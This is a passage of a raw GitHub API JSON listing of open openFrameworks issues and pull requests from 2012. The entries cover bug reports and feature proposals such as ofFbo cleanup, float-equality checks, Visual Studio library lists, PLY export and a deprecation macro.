issue","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/example","name":"example","color":"d1af26"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/macOS","name":"macOS","color":"2a8296"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-3D","name":"section-3D","color":"DDDDDD"}],"closed_at":null,"created_at":"2012-05-26T19:27:56Z","state":"open","user":{"url":"https://api.github.com/users/subtiv","gravatar_id":"837cfe96365c031130a46311eb11d86a","avatar_url":"https://secure.gravatar.com/avatar/837cfe96365c031130a46311eb11d86a?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"subtiv","id":1012684},"id":4767675,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-05-25T18:39:02Z","body":"produces an error on app exit or tex destruction.\n\n OF: OF_LOG_ERROR: trying to delete a non indexed texture, something weird is happening. Deleting anyway\n\nThis is because retain(int id) is a static function in ofTexture.cpp. So we can't retain the depthStencilTexture.\n\nThis suggest we should move the texture allocation of the depth / stencil texture to ofTexture - something which is not possible at the moment. ","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1277","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","closed_issues":21,"due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":1277,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1277","assignee":null,"title":"ofFbo can't retain depthStencil Texture","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"closed_at":null,"created_at":"2012-05-25T18:37:46Z","state":"open","user":{"url":"https://api.github.com/users/ofTheo","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"ofTheo","id":144000},"id":4758608,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-05-22T21:26:57Z","body":"\nthe offending line is: \n\nif( speed.getValue() != preSpeed ){\n\nwhich is evaluating as true even through the slider is not touched (float equality test, etc). \n\nif we alter it to something like: \n\nif( fabs(speed.getValue() - preSpeed) > 0.0001 ){\n\nthe code runs fine. probably nicer to add a \"value changed()\" functionality to the slider object though or use EPSILON, etc. \n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1271","comments":0,"milestone":null,"number":1271,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1271","assignee":null,"title":"periodic signal example doesn't run well on windows / cb (float equality error)","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/example","name":"example","color":"d1af26"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2012-05-22T21:26:57Z","state":"open","user":{"url":"https://api.github.com/users/ofZach","gravatar_id":"04ffd573ed878bc5b8c818c3aeaa2d71","avatar_url":"https://secure.gravatar.com/avatar/04ffd573ed878bc5b8c818c3aeaa2d71?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"ofZach","id":142897},"id":4700182,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-05-22T16:41:21Z","body":"There's some error that appears on linux systems running the project generator to make VS examples, where the debug and release libs for opencv get added badly to the vs project: \n\n\t%(AdditionalDependencies);opencv_highgui231d.lib;opencv_calib3d231.lib;opencv_imgproc231d.lib;opencv_haartraining_engined.lib;opencv_gpu231d.lib;opencv_flann231.lib;opencv_contrib231d.lib;opencv_video231d.lib;opencv_objdetect231d.lib;zlib.lib;opencv_core231d.lib;opencv_contrib231.lib;opencv_ml231d.lib;opencv_features2d231.lib;opencv_core231.lib;opencv_gpu231.lib;opencv_legacy231d.lib;opencv_haartraining_engine.lib;opencv_highgui231.lib;opencv_ml231.lib;opencv_imgproc231.lib;opencv_objdetect231.lib;opencv_legacy231.lib;opencv_video231.lib\n\t\t\t\t%(AdditionalLibraryDirectories);..\\..\\..\\addons\\ofxOpenCv\\libs\\opencv\\lib\\vs2010\n\nthis doesn't seem to be the case on osx or windows, which produces correct results: \n\n\t%(AdditionalDependencies);opencv_calib3d231.lib;opencv_contrib231.lib;opencv_core231.lib;opencv_features2d231.lib;opencv_flann231.lib;opencv_gpu231.lib;opencv_haartraining_engine.lib;opencv_highgui231.lib;opencv_imgproc231.lib;opencv_legacy231.lib;opencv_ml231.lib;opencv_objdetect231.lib;opencv_video231.lib;zlib.lib\n\nwould be good to look at the logic of \"visualStudioProject::addAddon()\" and see if we can fix this.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1268","comments":9,"milestone":null,"number":1268,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1268","assignee":null,"title":"project generator - bad libs for VS / opencv examples","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/visual+studio","name":"visual studio","color":"ba4eba"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/linux","name":"linux","color":"27607f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/windows","name":"windows","color":"244569"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/project+generator","name":"project generator","color":"444444"}],"closed_at":null,"created_at":"2012-05-20T21:50:24Z","state":"open","user":{"url":"https://api.github.com/users/ofZach","gravatar_id":"04ffd573ed878bc5b8c818c3aeaa2d71","avatar_url":"https://secure.gravatar.com/avatar/04ffd573ed878bc5b8c818c3aeaa2d71?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"ofZach","id":142897},"id":4662873,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-05-17T00:43:37Z","body":"I woud love some eyes on ofFbo would be great to get it cleaned up and standardized for 0072. \nRight now there are a ton of #ifdefs and some very hard to follow logic, which makes bug fixing quite difficult especially on OPENGL_ES\n\nsee: https://gist.github.com/2711815\n\n@elliotwoods @arturoc @memotv @damiannz @ofZach @kylemcdonald \n\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1263","comments":2,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","closed_issues":21,"due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":1263,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1263","assignee":null,"title":"ofFbo.cpp is a huge mess! ","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-internals","name":"section-internals","color":"DDDDDD"}],"closed_at":null,"created_at":"2012-05-16T16:27:30Z","state":"open","user":{"url":"https://api.github.com/users/ofTheo","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"ofTheo","id":144000},"id":4608132,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-05-17T14:29:02Z","body":"I added a .mailmap file to the repo to correctly collate all the contributors in spite of changing nick names/email addresses. This is useful when trying to identify contributors for a changelog or similar, or when using the git logging functions like shortlog.\n\nSee the before/after situation here: https://gist.github.com/2710366\n\nI have respected privacy and only used those real names that people have already given in a git ID in the repo. Mainly this addition only associates the different email addresses to one user. @arturoc wins the prize of most used emails! :-)\nThe list is pretty complete, I only had difficulties to associate some IDs to the correct Zachs, since it was not clear for some if @ofZach or @stfj (Zach Gage) was the contributor. Those were left as-is.\n\nIf anybody has objections to their various email being united under their name, please say so and I will correct/remove the relevant entries.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1262","comments":2,"milestone":null,"number":1262,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1262","assignee":null,"title":"Add .mailmap for contributor collation","labels":[],"closed_at":null,"created_at":"2012-05-16T13:44:32Z","state":"open","user":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"bilderbuchi","id":327442},"id":4604661,"pull_request":{"diff_url":"https://github.com/openframeworks/openFrameworks/pull/1262.diff","html_url":"https://github.com/openframeworks/openFrameworks/pull/1262","patch_url":"https://github.com/openframeworks/openFrameworks/pull/1262.patch"}},{"updated_at":"2012-05-16T09:35:31Z","body":"Address #375.\n\nAdd setVolumef(float). Also more clearly define volume ranges (int is 0..255, float is 0..1) and more robust clamping of volume argument.\n\nThis has not been tested on Linux or Windows.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1260","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","closed_issues":21,"due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":1260,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1260","assignee":null,"title":"allow float volume on ofVideoPlayer","labels":[],"closed_at":null,"created_at":"2012-05-15T17:50:22Z","state":"open","user":{"url":"https://api.github.com/users/damiannz","gravatar_id":"d1e060fe75a68836bf8a3209a9066bbe","avatar_url":"https://secure.gravatar.com/avatar/d1e060fe75a68836bf8a3209a9066bbe?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"damiannz","id":144366},"id":4588997,"pull_request":{"diff_url":"https://github.com/openframeworks/openFrameworks/pull/1260.diff","html_url":"https://github.com/openframeworks/openFrameworks/pull/1260","patch_url":"https://github.com/openframeworks/openFrameworks/pull/1260.patch"}},{"updated_at":"2012-05-21T07:31:47Z","body":"This was originally posted @\"biginners\".\n\nhttp://forum.openframeworks.cc/index.php/topic,9527.msg44049.html#msg44049\n\nJoshua noble suggested me to file it as a bug on jithub\n\n\n/////////////////original messages\n\nHello.\n\nI have question about ofShortPixels and ofShortColor.\n\nIf you execute the code below , it'll draw at half way screen height even though I did set aDot at (0. screen height / 4)\n\nAnd another weird thing is it draws 20 pixels instead of 10 pixels which I set for loop for 10 times.\n\nIt only draws correctly with ofPixels and ofColor.\n\nIt doesn't work with ofFloatPixels and ofFloatColor.\n\nPlease help me out.\n\nI need to have RGB value over 255 so I can check if those values are over 255.\n\nThanks in advanced\n\nJin\n\n\n.h file\nCode:\nview plaincopy to clipboardprint?\n\n #pragma once \n #include \"ofMain.h\" \n \n class Dot { \n public: \n ofVec2f location; \n \n Dot(){ \n location.set(0,0); \n } \n \n ~Dot(){} \n }; \n \n class testApp : public ofBaseApp{ \n public: \n void setup(); \n void update(); \n void draw(); \n \n int w,h; \n \n ofTexture particleTexture; \n ofShortPixels * rgbPixels; \n \n ofShortColor& paint(ofShortColor &); \n \n Dot aDot; \n \n \n }; \n\n\n.cpp file\nCode:\nview plaincopy to clipboardprint?\n\n #include \"testApp.h\" \n //-------------------------------------------------------------- \n void testApp::setup(){ \n ofSetFrameRate(30); \n ofSetBackgroundAuto(TRUE); \n ofBackground(0, 0, 0); \n w = ofGetWidth(); \n h = ofGetHeight(); \n \n particleTexture.allocate(w,h,GL_RGB); \n rgbPixels = new ofShortPixels; \n rgbPixels->allocate(w, h, 3); \n aDot.location.set(0, h/4); \n } \n \n //-------------------------------------------------------------- \n void testApp::update(){ \n ofShortColor pixelColor; \n ofShortColor newPixelColor; \n for(int i = 0; i<10; i++){ \n pixelColor = rgbPixels->getColor(aDot.location.x+i, aDot.location.y); \n \n newPixelColor = paint(pixelColor); \n \n rgbPixels->setColor(aDot.location.x+i, aDot.location.y,newPixelColor); \n \n } \n particleTexture.loadData(* rgbPixels); \n } \n \n //-------------------------------------------------------------- \n void testApp::draw(){ \n particleTexture.draw(0, 0, w, h); \n } \n \n ofShortColor & testApp::paint(ofShortColor & _c){ \n \n _c.r += 10; \n _c.g += 2; \n _c.b += 3; \n \n _c.set(_c.r, _c.g, _c.b); \n _c.clamp(); \n \n return _c; \n } ","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1257","comments":1,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","closed_issues":21,"due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":1257,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1257","assignee":null,"title":"ofShortPixels doesn't draw pixels correctly","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-internals","name":"section-internals","color":"DDDDDD"}],"closed_at":null,"created_at":"2012-05-14T05:46:14Z","state":"open","user":{"url":"https://api.github.com/users/gazaebal","gravatar_id":"f9d7811bb6318fedf7e9f2fe8bfece32","avatar_url":"https://secure.gravatar.com/avatar/f9d7811bb6318fedf7e9f2fe8bfece32?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"gazaebal","id":1736190},"id":4557803,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-05-17T21:42:08Z","body":"if i'm not mistaken, the correct way of using ofMatrix4x4 in oF is `glMultMatrixf(myMatrix.getPtr())` or `glLoadMatrixf`.\nThis seems a bit uncomfortable for me.\n\nsome candidates are:\n\n```c++\nofPushMatrix(const ofMatrix4x4 &); //needs alternatives as you might not want to push at the time\nofLoadMatrix(const ofMatrix4x4 &);\nofMultMatrix(const ofMatrix4x4 &);\n\nofMatrix4x4::apply();\nofMatrix4x4::glLoadMatrix(matrixMode = OF_MATRIX_MODE_CURRENT);\n```\n\n\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1256","comments":5,"milestone":null,"number":1256,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1256","assignee":null,"title":"Feature ofPushMatrix(const ofMatrix4x4 &)","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-3D","name":"section-3D","color":"DDDDDD"}],"closed_at":null,"created_at":"2012-05-13T18:20:29Z","state":"open","user":{"url":"https://api.github.com/users/elliotwoods","gravatar_id":"bea30676dca310e7f38269f245214944","avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"elliotwoods","id":328294},"id":4554058,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-05-11T21:24:20Z","body":"\tunsigned char faceSize = 3;\n\tif(data.getNumIndices()){\n\t\tos << \"element face \" << data.getNumIndices() / faceSize << endl;\n\t\tos << \"property list uchar int vertex_indices\" << endl;\n\t} else if(data.getMode() == OF_PRIMITIVE_TRIANGLES) {\n\t\tos << \"element face \" << data.getNumVertices() / faceSize << endl;\n\t\tos << \"property list uchar int vertex_indices\" << endl;\n\t}\n\nThe facesize is being set as static as 3, but this results in strange exports...things open OK in Meshlab, but exporting to other programs with no faces seems like it won't work","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1252","comments":6,"milestone":null,"number":1252,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1252","assignee":null,"title":"0071 ply (mesh.save()) Point export is broken","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-3D","name":"section-3D","color":"DDDDDD"}],"closed_at":null,"created_at":"2012-05-11T19:45:53Z","state":"open","user":{"url":"https://api.github.com/users/laserpilot","gravatar_id":"07001341fe6c156dddd5b9d06d828cba","avatar_url":"https://secure.gravatar.com/avatar/07001341fe6c156dddd5b9d06d828cba?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"laserpilot","id":1041023},"id":4539985,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-05-16T09:33:31Z","body":"couple of minor bugfixes (absolute path wasn't being detected on second if [absolute] for windows paths)\r\nfixes unixy paths no matter what on windows","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1251","comments":8,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","closed_issues":21,"due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":1251,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1251","assignee":null,"title":"Bugfix of to data path","labels":[],"closed_at":null,"created_at":"2012-05-10T06:44:20Z","state":"open","user":{"url":"https://api.github.com/users/elliotwoods","gravatar_id":"bea30676dca310e7f38269f245214944","avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"elliotwoods","id":328294},"id":4507572,"pull_request":{"diff_url":"https://github.com/openframeworks/openFrameworks/pull/1251.diff","html_url":"https://github.com/openframeworks/openFrameworks/pull/1251","patch_url":"https://github.com/openframeworks/openFrameworks/pull/1251.patch"}},{"updated_at":"2012-05-16T09:43:23Z","body":":(\r\n\r\nIt seems i'm getting double 'data/' in my paths\r\nafter a little tracking down, i found this is because ofSystemLoadDialog changes the current working directory\r\n\r\nso we could try and either fix that by popping the folder after the dialog, \r\nof for windows using something like ```GetModuleFileName``` to get the path of the current exe rather than using the current working directory\r\n\r\nI can't seem to run GetModuleFileName from ofUtils.cpp even though windows.h is included in ofConstants.h (included in ofUtils.h)\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1250","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","closed_issues":21,"due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":1250,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1250","assignee":null,"title":"bug: ofToDataPath broken again","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"closed_at":null,"created_at":"2012-05-10T06:35:24Z","state":"open","user":{"url":"https://api.github.com/users/elliotwoods","gravatar_id":"bea30676dca310e7f38269f245214944","avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"elliotwoods","id":328294},"id":4507492,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-05-16T09:42:44Z","body":"'ofx TCPClient :: receiveRaw' was found in the proble.\n\nOriginal :\n\n\tint ofxTCPClient::receiveRawBytes(char * receiveBuffer, int numBytes){\n\t\t\t messageSize = TCPClient.Receive(receiveBuffer, numBytes);\t\n\t\t\t if(messageSize==0){\t\t\n\t\t\t\t\t\tclose();\t\n\t\t\t }\t\n\t\t\t return messageSize;\n\t}\n\nBut 'TCPClient.Receive (receiveBuffer, numBytes)' from '-1' may return\n\nI was modified\n\n\tstring ofxTCPClient::receiveRaw(){\n\t\t\t messageSize = TCPClient.Receive(tmpBuff, TCP_MAX_MSG_SIZE);\n\t\t\t if(messageSize==0){\n\t\t\t\t\t\tclose();\n\t\t\t }\n\t\t\t //TCPClient.Receive is return -1....\n\t\t\t else if(messageSize < 0){ \n\t\t\t\t\t\ttmpBuff[0] = 0;\n\t\t\t }\n\t\t\t else if(messageSize; rel="next", ; rel="last", ; rel="first", ; rel="prev"'), ('etag', '"3b0c90696d51253d280f98b01e8e9fae"'), ('date', 'Tue, 29 May 2012 20:18:26 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1218","html_url":"https://github.com/openframeworks/openFrameworks/issues/1218","body":"Updated ofQuickTimePlayer to properly handle videos with an alpha channel. This uses the setPixelFormat() method, so all you need to do is:\r\n```\r\nmyVideoPlayer.setPixelFormat(OF_PIXELS_RGBA);\r\nmyVideoPlayer.loadMovie(\"path/to/movie.mov\");\t\r\nmyVideoPlayer.play();\r\n```","closed_at":null,"labels":[],"title":"ofQuickTimePlayer with alpha","pull_request":{"patch_url":"https://github.com/openframeworks/openFrameworks/pull/1218.patch","html_url":"https://github.com/openframeworks/openFrameworks/pull/1218","diff_url":"https://github.com/openframeworks/openFrameworks/pull/1218.diff"},"created_at":"2012-04-25T18:48:41Z","updated_at":"2012-05-16T09:27:12Z","comments":2,"milestone":{"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","due_on":"2012-06-25T07:00:00Z","open_issues":81,"title":"0072 Release","created_at":"2011-12-02T15:29:48Z","creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327442},"description":"","number":5,"id":61810,"state":"open","closed_issues":21},"number":1218,"id":4286936,"assignee":null,"state":"open","user":{"url":"https://api.github.com/users/prisonerjohn","gravatar_id":"b52cabeecffe4497699db813a715456f","login":"prisonerjohn","avatar_url":"https://secure.gravatar.com/avatar/b52cabeecffe4497699db813a715456f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":119702}},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1217","html_url":"https://github.com/openframeworks/openFrameworks/issues/1217","body":"On 'update', PG should respect existing custom include paths, source files, linker flags and project options (such as optimization settings).\r\n\r\nOR\r\n\r\nXcode project should read and respect `OTHER_LDFLAGS` and `HEADER_SEARCH_PATHS`, and add `OTHER_CFLAGS` from Project.xcconfig; projectGenerator should leave these settings alone unless it figures out they need to be adjusted (this is probably going to be difficult).","closed_at":null,"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","color":"622425","name":"feature"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/project+generator","color":"444444","name":"project generator"}],"title":"projectGenerator update doesn't respect existing project settings","pull_request":{"patch_url":null,"html_url":null,"diff_url":null},"created_at":"2012-04-24T21:03:44Z","updated_at":"2012-04-30T19:43:55Z","comments":0,"milestone":{"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","due_on":"2012-06-25T07:00:00Z","open_issues":81,"title":"0072 Release","created_at":"2011-12-02T15:29:48Z","creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327442},"description":"","number":5,"id":61810,"state":"open","closed_issues":21},"number":1217,"id":4269431,"assignee":null,"state":"open","user":{"url":"https://api.github.com/users/damiannz","gravatar_id":"d1e060fe75a68836bf8a3209a9066bbe","login":"damiannz","avatar_url":"https://secure.gravatar.com/avatar/d1e060fe75a68836bf8a3209a9066bbe?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":144366}},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1216","html_url":"https://github.com/openframeworks/openFrameworks/issues/1216","body":"Since I don't want to derail #484 further, this issue deals with the implementation of a deprecation mechanism.\r\nBased on [this](http://stackoverflow.com/questions/295120/c-mark-as-deprecated), I made an OFDEPRECATED preproc macro.\r\n\r\nQUESTION: How do I correctly #ifdef for MacOS/XCode4/llvm?\r\n\r\nCould people test this on different platforms? On linux this works. \r\n\r\n\t\ttestApp.h:\r\n\r\n\t\t#pragma once\r\n\r\n\t\t#ifdef __GNUC__\r\n\t\t// maybe __clang__ for checking against llvm/xcode4?\r\n\t\t#define OFDEPRECATED(message, func) func __attribute__ ((deprecated(message)))\r\n\t\t#elif defined(_MSC_VER)\r\n\t\t#define OFDEPRECATED(message, func) __declspec(deprecated(message)) func\r\n\t\t#else\r\n\t\t#pragma message(\"WARNING: You need to implement DEPRECATED for this compiler\")\r\n\t\t#define OFDEPRECATED(message, func) func\r\n\t\t#endif\r\n\r\n\t\tand \r\n\r\n\t\t\t\tvoid dragEvent(ofDragInfo dragInfo);\r\n\t\t\t\tvoid gotMessage(ofMessage msg);\r\n\t\t\r\n\t\t\t\tOFDEPRECATED(\"This is an old function, don't use!\", void deprecatedFunction(void));\r\n\t\t\t\tOFDEPRECATED(\"Obsolete type, use T2!\", typedef int T1);\r\n\t\t\t\ttypedef int T2;\r\n\t\t\t\tOFDEPRECATED(\"This is an old variable, don't use!\", int oldvar3);\r\n\t\t\t\t//This breaks a bit cause it's used in the constructor of testApp, so always triggers.\r\n\r\n\t\t};\r\n\t\tOFDEPRECATED(\"old class!\", class oldClass {\r\n\t\t\tpublic:\r\n\t\t\t\toldClass();\r\n\t\t\t\tvirtual ~oldClass();\r\n\t\t});\r\n\r\n\t\ttestApp.cpp:\r\n\r\n\t\tvoid testApp::setup(){\r\n\t\t\tOFDEPRECATED(\"old string. Don't use\", string oldstring);\r\n\t\t\t// Uncomment these to trigger deprecation warnings\r\n\t\t//\tdeprecatedFunction();\r\n\t\t//\tT1 t1object = 5;\r\n\t\t//\toldstring = \"bla\";\r\n\t\t//\toldvar3=5;\r\n\t\t//\toldClass bla;\r\n\t\t}\r\n","closed_at":null,"labels":[],"title":"Implement deprecation mechanism","pull_request":{"patch_url":null,"html_url":null,"diff_url":null},"created_at":"2012-04-24T21:03:39Z","updated_at":"2012-05-02T10:19:07Z","comments":11,"milestone":{"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","due_on":"2012-06-25T07:00:00Z","open_issues":81,"title":"0072 